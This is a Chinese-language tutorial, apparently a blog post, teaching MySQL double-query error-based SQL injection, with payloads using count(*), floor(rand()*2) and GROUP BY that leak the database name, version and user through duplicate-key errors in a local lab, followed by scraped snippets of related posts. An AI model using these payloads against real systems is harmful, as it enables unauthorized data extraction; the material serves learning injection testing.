我說雙查詢很難講清楚,這次就試著講一下。讀了一些原理性的東西。然後盡量通俗的給大家講清楚。。
在此之前,我們理解一下子查詢,查詢的關鍵字是select,這個大家都知道。子查詢可以簡單的理解在乙個select語句裡還有乙個select。裡面的這個select語句就是子查詢。
看乙個簡單的例子:
select concat((select database()));
真正執行的時候,先從子查詢進行。因此執行select database() 這個語句就會把當前的資料庫查出來,然後把結果傳入到concat函式。這個函式是用來連線的。比如 concat(『a』,』b』)那結果就是ab了。
原理:雙注入查詢需要理解四個函式/語句
1. rand() //隨機函式
2. floor() //取整函式
3. count() //彙總函式
4. group by clause //分組語句
簡單的一句話原理就是有研究人員發現,當在乙個聚合函式,比如count函式後面如果使用分組語句就會把查詢的一部分以錯誤的形式顯示出來。
以本地乙個名為security的資料庫為例
首先在bt5下的命令列下輸入
mysql -u root –p toor
就會連線上資料庫了。
然後通過use security; 就可以切換到security資料庫了。因為乙個伺服器上可能有多個資料庫嘛。
然後我們執行一下前面那個簡單的子查詢的例子
select concat((select database()));
就能顯示security,也就是顯示了當前資料庫的名字了。
然後我們測試一下concat的用法。輸入
select concat('string1','string2');
顯然結果就是string1string2了
然後我們測試一下rand()這個隨機函式是幹嘛的
select rand();
我們多執行幾次
可以看到,這個函式就是返回大於0,小於1之間的數
然後看看取整函式
我們從裡向外看。rand() 返回大於0小於1的小數,乘以2之後就成了小於0小於2了。然後對結果進行取證。就只能是0或1了。也就是這個查詢的結果不是1,就是0
我們稍微加大一點難度。看這個查詢
select concat((select database()), floor(rand()*2));
不要怕。先看最裡面的select database() 這個就返回資料庫名,這裡就是security了。然後floor(rand()*2)這個上面說過了。不是0,就是1.然後把這兩個的結果進行concat連線,那麼結果不是security0就是security1了。
如果是從information_schema.schemata裡,這個表裡包含了mysql的所有資料庫名。這裡本機有三個資料庫。所以會返回三個結果
現在我們準備加上group by 語句了。
我們使用information_schema.tables 或 information_schema.columns者兩個表來查詢。因為表裡面一般資料很多。容易生成很多的隨機值,不至於全部是security0,這樣就不能查詢出結果了。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
這裡我先解釋一下。
我們把concat((select database()), floor(rand()*2)) 這個結果取了乙個別名 a ,然後使用他進行分組。這樣相同的security0分到一組,security1分到一組。就剩下兩個結果了。
注意這裡的database()可以替換成任何你想查的函式,比如version(), user(), datadir()或者其他的查詢。比如查表啊。查列啊。原理都是一樣的。
最後的亮點來了。。
我們輸入這條:注意多了乙個聚合函式count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
報錯了error 1062 (23000): duplicate entry 'security1' for key 『group_key』
重複的鍵值 可以看到security就是我們的查詢結果了
想要查詢版本就這樣:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
看看替換了database()為version()
再看乙個
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
報錯error 1062 (23000): duplicate entry '~root@localhost~1' for key 'group_key'
這裡的~這個符號只是為了讓結果更清晰。
這裡還有乙個比較複雜的。叫做派生表。需要使用
select 1 from (table name); 這樣的語法來報錯,具體就是
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
來報錯。
雙查詢注入
雙查詢注入 它也是報錯注入的一種 詳情請參考 mysql select select database select database security 1 row in set 0.00 sec mysql select concat select database concat select d...
sql注入之雙查詢注入
子查詢可以理解在乙個select語句中再插入乙個select 裡面的select語句就是子查詢 例子 select concat select database 執行語句時,先從子查詢進行,先執行select database 再把結果傳入到concat函式 count 彙總資料函式 rand 隨機...
SQL 多表查詢詳細講解
多表查詢,也稱為多表連線查詢 作為關係型資料庫最主要的查詢方式,在日常工作中被廣泛使用 常見的多表查詢操作包含 子查詢 內連線 左外連線 右外連線 完全連線 交叉連線 本篇文章將利用乙個例項逐一介紹這些操作 以 mysql 資料庫為例,建立兩張資料表 其中,學生表 id 字段對應選課記錄表中的 st...